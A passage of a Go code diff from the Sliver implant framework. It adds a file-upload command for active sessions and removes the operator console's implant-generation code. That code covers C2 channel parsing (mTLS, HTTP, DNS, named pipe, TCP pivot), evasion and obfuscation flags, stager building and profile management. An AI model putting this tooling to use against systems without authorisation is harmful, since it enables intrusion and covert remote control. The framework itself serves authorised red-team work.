con.PrintInfof("%s\n", rm.Path)
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
return
|
||||
}
|
||||
|
||||
src, _ := filepath.Abs(localPath)
|
||||
_, err := os.Stat(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if remotePath == "" {
|
||||
fileName := filepath.Base(src)
|
||||
remotePath = fileName
|
||||
}
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if upload.Response != nil && upload.Response.Async {
|
||||
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, upload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUpload(upload, con)
|
||||
})
|
||||
con.PrintAsyncResponse(upload.Response)
|
||||
} else {
|
||||
PrintUpload(upload, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintUpload - Print the result of the upload command
|
||||
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
|
||||
if upload.Response != nil && upload.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", upload.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
@@ -1,781 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var validFormats = []string{
|
||||
"bash",
|
||||
"c",
|
||||
"csharp",
|
||||
"dw",
|
||||
"dword",
|
||||
"hex",
|
||||
"java",
|
||||
"js_be",
|
||||
"js_le",
|
||||
"num",
|
||||
"perl",
|
||||
"pl",
|
||||
"powershell",
|
||||
"ps1",
|
||||
"py",
|
||||
"python",
|
||||
"raw",
|
||||
"rb",
|
||||
"ruby",
|
||||
"sh",
|
||||
"vbapplication",
|
||||
"vbscript",
|
||||
}
|
||||
|
||||
func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
config := parseCompileFlags(ctx)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, rpc)
|
||||
}
|
||||
|
||||
func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn+"Invalid implant name, see `help %s`\n", consts.RegenerateStr)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
|
||||
regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
|
||||
return
|
||||
}
|
||||
if regenerate.File == nil {
|
||||
fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
|
||||
return
|
||||
}
|
||||
saveTo, err := saveLocation(save, regenerate.File.Name)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write to %s\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
|
||||
}
|
||||
|
||||
func saveLocation(save, defaultName string) (string, error) {
|
||||
var saveTo string
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
log.Printf("%s does not exist\n", save)
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
_, err := os.Stat(saveTo)
|
||||
if os.IsNotExist(err) {
|
||||
os.MkdirAll(saveDir, 0700)
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
} else {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, defaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return "", errors.New("File already exists")
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
}
|
||||
return saveTo, nil
|
||||
}
|
||||
|
||||
func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
var stageProto clientpb.StageProtocol
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
if lhost == "" {
|
||||
fmt.Println(Warn + "please specify a listening host")
|
||||
return
|
||||
}
|
||||
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !match {
|
||||
addr, err := net.LookupHost(lhost)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
|
||||
return
|
||||
}
|
||||
if len(addr) > 1 {
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an address",
|
||||
Options: addr,
|
||||
}
|
||||
err := survey.AskOne(prompt, &lhost)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lhost = addr[0]
|
||||
}
|
||||
}
|
||||
lport := ctx.Flags.Int("lport")
|
||||
stageOS := ctx.Flags.String("os")
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
|
||||
switch proto {
|
||||
case "tcp":
|
||||
stageProto = clientpb.StageProtocol_TCP
|
||||
case "http":
|
||||
stageProto = clientpb.StageProtocol_HTTP
|
||||
case "https":
|
||||
stageProto = clientpb.StageProtocol_HTTPS
|
||||
default:
|
||||
fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
fmt.Println(Info + "Here's your stager:")
|
||||
fmt.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
targetOS := strings.ToLower(ctx.Flags.String("os"))
|
||||
arch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
|
||||
if ctx.Flags["name"] != nil {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
if ctx.Flags.Bool("debug") {
|
||||
symbolObfuscation = false
|
||||
} else {
|
||||
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
|
||||
}
|
||||
|
||||
if len(mtlsC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
fmt.Printf(Warn + "Must specify at least one of --mtls, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
rawCanaries := ctx.Flags.String("canary")
|
||||
canaryDomains := []string{}
|
||||
if 0 < len(rawCanaries) {
|
||||
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
|
||||
if !strings.HasSuffix(canaryDomain, ".") {
|
||||
canaryDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
canaryDomains = append(canaryDomains, canaryDomain)
|
||||
}
|
||||
}
|
||||
|
||||
reconnectInterval := ctx.Flags.Int("reconnect")
|
||||
maxConnectionErrors := ctx.Flags.Int("max-errors")
|
||||
|
||||
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
|
||||
limitHostname := ctx.Flags.String("limit-hostname")
|
||||
limitUsername := ctx.Flags.String("limit-username")
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
var configFormat clientpb.ImplantConfig_OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
configFormat = clientpb.ImplantConfig_EXECUTABLE
|
||||
case "shared":
|
||||
configFormat = clientpb.ImplantConfig_SHARED_LIB
|
||||
isSharedLib = true
|
||||
case "shellcode":
|
||||
configFormat = clientpb.ImplantConfig_SHELLCODE
|
||||
isShellcode = true
|
||||
case "service":
|
||||
configFormat = clientpb.ImplantConfig_SERVICE
|
||||
isService = true
|
||||
default:
|
||||
// default to exe
|
||||
configFormat = clientpb.ImplantConfig_EXECUTABLE
|
||||
}
|
||||
/* For UX we convert some synonymous terms */
|
||||
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "m" || targetOS == "osx" {
|
||||
targetOS = "darwin"
|
||||
}
|
||||
if targetOS == "windows" || targetOS == "win" || targetOS == "w" || targetOS == "shit" {
|
||||
targetOS = "windows"
|
||||
}
|
||||
if targetOS == "linux" || targetOS == "unix" || targetOS == "l" {
|
||||
targetOS = "linux"
|
||||
}
|
||||
if arch == "x64" || strings.HasPrefix(arch, "64") {
|
||||
arch = "amd64"
|
||||
}
|
||||
if arch == "x86" || strings.HasPrefix(arch, "32") {
|
||||
arch = "386"
|
||||
}
|
||||
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: arch,
|
||||
Name: name,
|
||||
Debug: ctx.Flags.Bool("debug"),
|
||||
Evasion: ctx.Flags.Bool("evasion"),
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
|
||||
ReconnectInterval: uint32(reconnectInterval),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
|
||||
LimitDomainJoined: limitDomainJoined,
|
||||
LimitHostname: limitHostname,
|
||||
LimitUsername: limitUsername,
|
||||
LimitDatetime: limitDatetime,
|
||||
LimitFileExists: limitFileExists,
|
||||
|
||||
Format: configFormat,
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "mtls"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse c2 URL %v", err)
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
uri = &url.URL{Scheme: "https"} // HTTPS is the default, will fallback to HTTP
|
||||
uri.Host = arg
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "dns"}
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
// Make sure we have the FQDN
|
||||
if !strings.HasSuffix(arg, ".") {
|
||||
arg += "."
|
||||
}
|
||||
if strings.HasPrefix(arg, ".") {
|
||||
arg = arg[1:]
|
||||
}
|
||||
|
||||
uri.Host = arg
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri, err := url.Parse("namedpipe://" + arg)
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return c2s
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
|
||||
uri := url.URL{Scheme: "tcppivot"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" && 1 <= len(ctx.Args) {
|
||||
name = ctx.Args[0]
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
profile := getImplantProfileByName(rpc, name)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, save, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
profile.Config.Name = buildImplantName(implantFile.Name)
|
||||
_, err = rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"could not update implant profile: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
fmt.Printf(Warn+"No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
|
||||
|
||||
fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
|
||||
if config.ObfuscateSymbols {
|
||||
fmt.Printf(Info+"%sSymbol obfuscation is enabled.%s\n", bold, normal)
|
||||
fmt.Printf(Info + "This process can take awhile, and consumes significant amounts of CPU/Memory\n")
|
||||
} else if !config.Debug {
|
||||
fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
if len(generated.File.Data) == 0 {
|
||||
fmt.Printf(Warn + "Build failed, no file data\n")
|
||||
return nil, errors.New("No file data")
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
fmt.Printf(Info+"Implant saved to %s\n", saveTo)
|
||||
return generated.File, err
|
||||
}
|
||||
|
||||
func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
profiles := getImplantProfiles(rpc)
|
||||
if profiles == nil {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewProfileStr)
|
||||
return
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")))
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
fmt.Sprintf("%s", obfuscation),
|
||||
getLimitsString(config),
|
||||
)
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
}
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
limits := []string{}
|
||||
if config.LimitDatetime != "" {
|
||||
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
|
||||
}
|
||||
if config.LimitDomainJoined {
|
||||
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
|
||||
}
|
||||
if config.LimitUsername != "" {
|
||||
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
|
||||
}
|
||||
if config.LimitHostname != "" {
|
||||
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
|
||||
}
|
||||
if config.LimitFileExists != "" {
|
||||
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
fmt.Printf(Warn + "Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ProfilesStr, consts.RmStr)
|
||||
return
|
||||
}
|
||||
_, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to delete profile %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error %s", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error %s", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if profile.Name == name {
|
||||
return profile
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to list canaries %s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
fmt.Printf(Info + "No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
